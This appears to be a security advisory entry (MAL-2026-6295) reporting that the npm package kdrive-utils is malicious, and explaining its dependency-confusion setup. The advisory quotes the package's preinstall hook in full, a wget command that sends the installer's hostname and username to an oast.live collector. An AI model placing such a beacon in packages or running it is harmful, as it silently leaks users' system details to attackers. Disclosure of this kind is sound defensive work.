🛡️ MAL-2026-6295 — kdrive-utils
Description
Malicious code in kdrive-utils (npm)
Source: amazon-inspector
package.json declares a preinstall lifecycle script that auto-executes on npm install and runs wget -q -O- "http://d8svb0ao12pnoovdaih0giunhdew5oqa4.oast.live/$(hostname)/$(whoami)". The installer's hostname and current OS username are embedded directly into the request path and sent over plain HTTP to an oast.live (Interactsh / out-of-band application security testing) listener — an attacker-controlled DNS/HTTP collector commonly used for supply-chain reconnaissance and typosquat/dependency-confusion probes. The package is an unscoped name published at version 99.9.9, which is the canonical dependency-confusion shape (high version number to win resolution against an internal package of the same name). No legitimate functionality is shipped beyond the beacon.
